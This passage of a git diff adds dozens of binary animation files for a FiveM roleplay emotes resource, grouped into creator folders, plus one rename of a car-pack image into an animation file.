b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/amnilka@photopose@couple@couplefirst.ycd new file mode 100644 index 000000000..a9fd0c199 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/amnilka@photopose@couple@couplefirst.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/amnilka@photopose@female@homepack001.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/amnilka@photopose@female@homepack001.ycd new file mode 100644 index 000000000..0db0c05a9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/amnilka@photopose@female@homepack001.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/frabi@femalepose@solo@firstsport.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/frabi@femalepose@solo@firstsport.ycd new file mode 100644 index 000000000..d52e9db43 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/frabi@femalepose@solo@firstsport.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/frabi@malepose@solo@firstsport.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/frabi@malepose@solo@firstsport.ycd new file mode 100644 index 000000000..f802fa976 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Amnilka/frabi@malepose@solo@firstsport.ycd differ diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/14chgr_sign_1.png b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/dancing_wave_part_one@anim.ycd similarity index 52% rename from resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/14chgr_sign_1.png rename to resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/dancing_wave_part_one@anim.ycd index cebe8e9fe..fcbed3252 100644 Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/14chgr_sign_1.png and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/dancing_wave_part_one@anim.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/mj_thriller.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/mj_thriller.ycd new file mode 100644 index 000000000..c51fe37ca Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/mj_thriller.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/zombies_animations.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/zombies_animations.ycd new file mode 100644 index 000000000..7e247a6de Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BoringNeptune/zombies_animations.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BzZziEmotes/bz@give_love@anim.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BzZziEmotes/bz@give_love@anim.ycd new file mode 100644 index 000000000..6318be09c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/BzZziEmotes/bz@give_love@anim.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1cmg@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1cmg@animation.ycd new file mode 100644 index 000000000..4f376d778 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1cmg@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1pack1anim1@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1pack1anim1@animation.ycd new file mode 100644 index 000000000..2fcd0d853 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1pack1anim1@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1pack1anim2@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1pack1anim2@animation.ycd new file mode 100644 index 000000000..fc50210a4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose1pack1anim2@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2cmg@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2cmg@animation.ycd new file mode 100644 index 000000000..66151c6c6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2cmg@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2pack1anim1@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2pack1anim1@animation.ycd new file mode 100644 index 000000000..13d81528c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2pack1anim1@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2pack1anim2@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2pack1anim2@animation.ycd new file mode 100644 index 000000000..ede7b1006 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose2pack1anim2@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose3pack1anim1@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose3pack1anim1@animation.ycd new file mode 100644 index 000000000..2b23ef876 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose3pack1anim1@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose3pack1anim2@animation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose3pack1anim2@animation.ycd new file mode 100644 index 000000000..be893022e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/couplepose3pack1anim2@animation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/skateboardposecmganimation.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/skateboardposecmganimation.ycd new file mode 100644 index 000000000..b57c880fb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CMGMods/skateboardposecmganimation.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@couple13.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@couple13.ycd new file mode 100644 index 000000000..810972ac1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@couple13.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@couple14.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@couple14.ycd new file mode 100644 index 000000000..ea53c35bf Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@couple14.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo17.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo17.ycd new file mode 100644 index 000000000..69ce6b1ad Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo17.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo18.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo18.ycd new file mode 100644 index 000000000..7ee50075b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo18.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo32.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo32.ycd new file mode 100644 index 000000000..208179de5 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo32.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo34.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo34.ycd new file mode 100644 index 000000000..db76884f1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@duo34.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single110a.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single110a.ycd new file mode 100644 index 000000000..784acb6a3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single110a.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single110b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single110b.ycd new file mode 100644 index 000000000..732f592cb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single110b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single12.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single12.ycd new file mode 100644 index 000000000..066b9c640 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single12.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single14.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single14.ycd new file mode 100644 index 000000000..29bc9080e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single14.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single17.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single17.ycd new file mode 100644 index 000000000..2bf5ada9f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single17.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single23.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single23.ycd new file mode 100644 index 000000000..3a66a8b13 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single23.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single47.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single47.ycd new file mode 100644 index 000000000..8c0a7e2dc Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single47.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single54.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single54.ycd new file mode 100644 index 000000000..9b98a6609 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single54.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single63.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single63.ycd new file mode 100644 index 000000000..7f208bc06 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single63.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single77.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single77.ycd new file mode 100644 index 000000000..1dde34937 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single77.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single79.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single79.ycd new file mode 100644 index 000000000..bbb941207 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single79.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single80.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single80.ycd new file mode 100644 index 000000000..af88445f1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single80.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single81.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single81.ycd new file mode 100644 index 000000000..b3de72ae4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single81.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single83.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single83.ycd new file mode 100644 index 000000000..13c49ce6d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single83.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single89.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single89.ycd new file mode 100644 index 000000000..371910cf3 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single89.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single90.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single90.ycd new file mode 100644 index 000000000..951efe9a8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@single90.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate1.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate1.ycd new file mode 100644 index 000000000..ead2954cf Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate1.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate2.ycd new file mode 100644 index 000000000..e7db6fe7f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate4.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate4.ycd new file mode 100644 index 000000000..60d4a7251 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ChocoholicAnimations/chocoholic@skate4.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_hold.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_hold.ycd new file mode 100644 index 000000000..6644c370a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_hold.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_torch.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_torch.ycd new file mode 100644 index 000000000..8ff64df73 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_torch.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_walk.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_walk.ycd new file mode 100644 index 000000000..cba88b19d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@hlstr_7360_walk.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holding_side_vest.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holding_side_vest.ycd new file mode 100644 index 000000000..b07c01c7b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holding_side_vest.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holding_siege_vest_side.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holding_siege_vest_side.ycd new file mode 100644 index 000000000..6c2cc2464 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holding_siege_vest_side.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holster_hold_there.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holster_hold_there.ycd new file mode 100644 index 000000000..ed1e766c7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holster_hold_there.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holster_walk_torch.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holster_walk_torch.ycd new file mode 100644 index 000000000..9d4d03731 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@holster_walk_torch.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@k9_pose.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@k9_pose.ycd new file mode 100644 index 000000000..89affb2e7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@k9_pose.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_radio.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_radio.ycd new file mode 100644 index 000000000..1ebd3de86 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_radio.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest.ycd new file mode 100644 index 000000000..d10291829 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_2.ycd new file mode 100644 index 000000000..4f8364dfe Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_siege.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_siege.ycd new file mode 100644 index 000000000..359b74c96 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_siege.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_siege_2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_siege_2.ycd new file mode 100644 index 000000000..a940c7d79 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@holding_vest_siege_2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@prep_gears.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@prep_gears.ycd new file mode 100644 index 000000000..7926fe618 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@male@prep_gears.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@radio_left.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@radio_left.ycd new file mode 100644 index 000000000..4f2130b0d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@radio_left.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@radio_pose_3.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@radio_pose_3.ycd new file mode 100644 index 000000000..3287a1939 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@radio_pose_3.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@rifle_megaphone.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@rifle_megaphone.ycd new file mode 100644 index 000000000..ae141d0ed Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/CrunchyCat Poses/anim@rifle_megaphone.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_sitcool.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_sitcool.ycd new file mode 100644 index 000000000..6fc282df1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_sitcool.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standarrogant.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standarrogant.ycd new file mode 100644 index 000000000..dd8b9afd6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standarrogant.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standcasual1.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standcasual1.ycd new file mode 100644 index 000000000..322ce254e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standcasual1.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standcasual2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standcasual2.ycd new file mode 100644 index 000000000..4b6e9d7d0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@f_standcasual2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand14.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand14.ycd new file mode 100644 index 000000000..285e05535 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand14.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand15.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand15.ycd new file mode 100644 index 000000000..6129a5342 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand15.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand16.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand16.ycd new file mode 100644 index 000000000..4ae6f59da Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand16.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand7.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand7.ycd new file mode 100644 index 000000000..d95b71596 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand7.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand8.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand8.ycd new file mode 100644 index 000000000..0ee9d6648 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand8.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand9.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand9.ycd new file mode 100644 index 000000000..82d6520ac Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@femalestand9.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@m_doublehands.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@m_doublehands.ycd new file mode 100644 index 000000000..19be6620f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@m_doublehands.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@m_standhide.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@m_standhide.ycd new file mode 100644 index 000000000..4b2e68d50 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@m_standhide.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@male_smoke.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@male_smoke.ycd new file mode 100644 index 000000000..e1bc399bd Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@male_smoke.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@malestand2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@malestand2.ycd new file mode 100644 index 000000000..9e4b608f8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@malestand2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/DRXAmimations/drx@malestand3c.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom 